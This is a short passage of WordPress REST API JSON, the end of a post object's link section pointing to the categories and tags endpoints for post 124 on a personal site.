index.php\/wp-json\/wp\/v2\/categories?post=124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}